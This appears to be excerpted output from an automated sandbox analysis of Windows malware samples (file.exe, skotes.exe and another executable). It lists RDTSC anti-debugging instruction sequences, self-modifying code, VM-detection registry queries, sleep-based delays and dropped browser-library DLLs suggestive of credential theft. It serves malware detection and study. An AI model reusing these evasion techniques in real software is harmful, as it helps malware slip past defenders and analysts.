Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 11527B7 second address: 11527BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 11527BC second address: 11527C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 11527C2 second address: 11527C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 115281F second address: 11528AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FB4247A5761h 0x0000000b je 00007FB4247A5756h 0x00000011 popad 0x00000012 popad 0x00000013 mov dword ptr [esp], eax 0x00000016 mov cx, 52E8h 0x0000001a push 00000000h 0x0000001c add dword ptr [ebp+122D1BCCh], eax 0x00000022 call 00007FB4247A5759h 0x00000027 pushad 0x00000028 push eax 0x00000029 jmp 00007FB4247A575Ch 0x0000002e pop eax 0x0000002f pushad 0x00000030 push edx 0x00000031 pop edx 0x00000032 pushad 0x00000033 popad 0x00000034 popad 0x00000035 popad 0x00000036 push eax 0x00000037 jg 00007FB4247A5764h 0x0000003d mov eax, dword ptr [esp+04h] 0x00000041 jc 00007FB4247A5763h 0x00000047 jmp 00007FB4247A575Dh 0x0000004c mov eax, dword ptr [eax] 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007FB4247A5760h 0x00000055 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 11528AC second address: 1152914 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB424D52643h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push ecx 0x0000000f jbe 00007FB424D52638h 0x00000015 pushad 0x00000016 popad 0x00000017 pop ecx 0x00000018 pop eax 0x00000019 push 00000003h 0x0000001b mov esi, dword ptr [ebp+122D1D12h] 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push edx 0x00000026 call 00007FB424D52638h 0x0000002b pop edx 0x0000002c mov dword ptr [esp+04h], edx 0x00000030 add dword ptr [esp+04h], 00000014h 0x00000038 inc edx 0x00000039 push edx 0x0000003a ret 0x0000003b pop edx 0x0000003c ret 0x0000003d pushad 0x0000003e mov cx, di 0x00000041 adc ch, FFFFFFB1h 0x00000044 popad 0x00000045 mov si, F3CAh 0x00000049 push 00000003h 0x0000004b movzx esi, di 0x0000004e push E5667836h 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1152914 second address: 115291E instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB4247A5756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 115291E second address: 1152979 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB424D52642h 0x00000008 jmp 00007FB424D5263Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xor dword ptr [esp], 25667836h 0x00000016 call 00007FB424D52649h 0x0000001b mov dword ptr [ebp+122D3298h], eax 0x00000021 pop esi 0x00000022 lea ebx, dword ptr [ebp+124475F0h] 0x00000028 cmc 0x00000029 mov dword ptr [ebp+122D2DEBh], edx 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FB424D5263Eh 0x00000037 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 11529F7 second address: 1152A48 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB4247A5758h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 5F5EF900h 0x00000011 jg 00007FB4247A575Ch 0x00000017 push 00000003h 0x00000019 jmp 00007FB4247A5760h 0x0000001e push 00000000h 0x00000020 push eax 0x00000021 xor edi, 459B568Bh 0x00000027 pop esi 0x00000028 push 00000003h 0x0000002a mov edx, 4F10AEC6h 0x0000002f push 89989A04h 0x00000034 push eax 0x00000035 push edx 0x00000036 jnp 00007FB4247A5758h 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1144C20 second address: 1144C2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1144C2A second address: 1144C2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1171364 second address: 117136A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 117136A second address: 117136E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 117136E second address: 1171372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1171372 second address: 11713B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FB4247A575Ch 0x0000000c jns 00007FB4247A5756h 0x00000012 push eax 0x00000013 push edi 0x00000014 pop edi 0x00000015 pop eax 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a pushad 0x0000001b popad 0x0000001c pop eax 0x0000001d ja 00007FB4247A5774h 0x00000023 jnc 00007FB4247A5756h 0x00000029 jmp 00007FB4247A5768h 0x0000002e rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 11713B3 second address: 11713C5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB424D5263Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 11713C5 second address: 11713C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 11714E7 second address: 11714EC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 11714EC second address: 11714F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 11714F5 second address: 11714FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 11717A5 second address: 11717A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1171DB5 second address: 1171DBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1171DBB second address: 1171DD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FB4247A5765h 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1171F3E second address: 1171F43 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1172206 second address: 117220C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 117220C second address: 1172215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 11723E1 second address: 11723E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 117257C second address: 117259C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FB424D5263Fh 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB424D5263Bh 0x00000010 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1176EB3 second address: 1176EC7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FB4247A575Bh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1176EC7 second address: 1176EDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jmp 00007FB424D5263Ah 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1176EDC second address: 1176EE1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 11756A7 second address: 11756BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB424D52636h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 11756BA second address: 11756C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1175EFB second address: 1175F05 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB424D52636h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1175F05 second address: 1175F2A instructions: 0x00000000 rdtsc 0x00000002 je 00007FB4247A5767h 0x00000008 jmp 00007FB4247A5761h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jo 00007FB4247A5764h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 113C76A second address: 113C788 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007FB424D52644h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 113C788 second address: 113C78C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 117CDC9 second address: 117CDCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 117CF48 second address: 117CF4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 117F366 second address: 117F36C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 117F36C second address: 117F3DD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jg 00007FB4247A5756h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 4B937616h 0x00000013 push ebx 0x00000014 xor dword ptr [ebp+122D2B77h], edi 0x0000001a pop edi 0x0000001b call 00007FB4247A5759h 0x00000020 jno 00007FB4247A575Eh 0x00000026 push eax 0x00000027 jl 00007FB4247A5766h 0x0000002d jns 00007FB4247A5760h 0x00000033 mov eax, dword ptr [esp+04h] 0x00000037 pushad 0x00000038 jmp 00007FB4247A5765h 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007FB4247A575Ch 0x00000044 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 117F3DD second address: 117F3F8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB424D52636h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d je 00007FB424D52648h 0x00000013 push eax 0x00000014 push edx 0x00000015 jbe 00007FB424D52636h 0x0000001b rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 117F3F8 second address: 117F40B instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB4247A5756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 117F40B second address: 117F419 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB424D52636h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 117F419 second address: 117F41D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 117FF21 second address: 117FF31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D5263Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 117FF31 second address: 117FF36 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1180233 second address: 1180237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1180237 second address: 1180240 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1180A47 second address: 1180ACA instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB424D52636h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c jp 00007FB424D52640h 0x00000012 nop 0x00000013 jmp 00007FB424D5263Bh 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007FB424D52638h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 0000001Ah 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 call 00007FB424D52649h 0x0000003b pop esi 0x0000003c or dword ptr [ebp+122D1B65h], eax 0x00000042 xchg eax, ebx 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 pushad 0x00000047 popad 0x00000048 jmp 00007FB424D5263Eh 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1180ACA second address: 1180AD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FB4247A5756h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1181490 second address: 1181494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1181494 second address: 118149A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 118149A second address: 11814A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 118236F second address: 1182373 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1182373 second address: 1182377 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1182377 second address: 11823C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 js 00007FB4247A575Fh 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 mov edi, 2F8B530Fh 0x00000016 popad 0x00000017 push 00000000h 0x00000019 mov si, bx 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007FB4247A5758h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 00000019h 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 mov si, F75Fh 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 11823C0 second address: 11823C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 11823C7 second address: 11823E8 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB4247A5764h 0x00000008 jmp 00007FB4247A575Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push esi 0x00000016 pop esi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1182E94 second address: 1182E9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1184408 second address: 118440E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 118440E second address: 118445B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 movsx edi, bx 0x0000000c push 00000000h 0x0000000e jo 00007FB424D52644h 0x00000014 pushad 0x00000015 mov dword ptr [ebp+12444AADh], edi 0x0000001b mov ebx, dword ptr [ebp+122D3578h] 0x00000021 popad 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ebp 0x00000027 call 00007FB424D52638h 0x0000002c pop ebp 0x0000002d mov dword ptr [esp+04h], ebp 0x00000031 add dword ptr [esp+04h], 00000016h 0x00000039 inc ebp 0x0000003a push ebp 0x0000003b ret 0x0000003c pop ebp 0x0000003d ret 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 jnl 00007FB424D52638h 0x00000047 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 118445B second address: 1184460 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5DFCB6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5DFC10 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5DD452 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 81C8C2 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Special instruction interceptor: First address: FDE914 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Special instruction interceptor: First address: 1175872 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Special instruction interceptor: First address: 1188658 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Special instruction interceptor: First address: 1200F1D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 79E914 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 935872 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 948658 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9C0F1D instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsDAFBGHCAKK.exe

Code function: 27_2_05880C1E rdtsc

27_2_05880C1E

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1009724001\87df69758f.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 7456	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7428	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7432	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7448	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7576	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7452	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7440	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7440	Thread sleep time: -66033s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7444	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8224	Thread sleep count: 55 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8224	Thread sleep time: -1650000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8224	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsDAFBGHCAKK.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA8EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6CA8EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
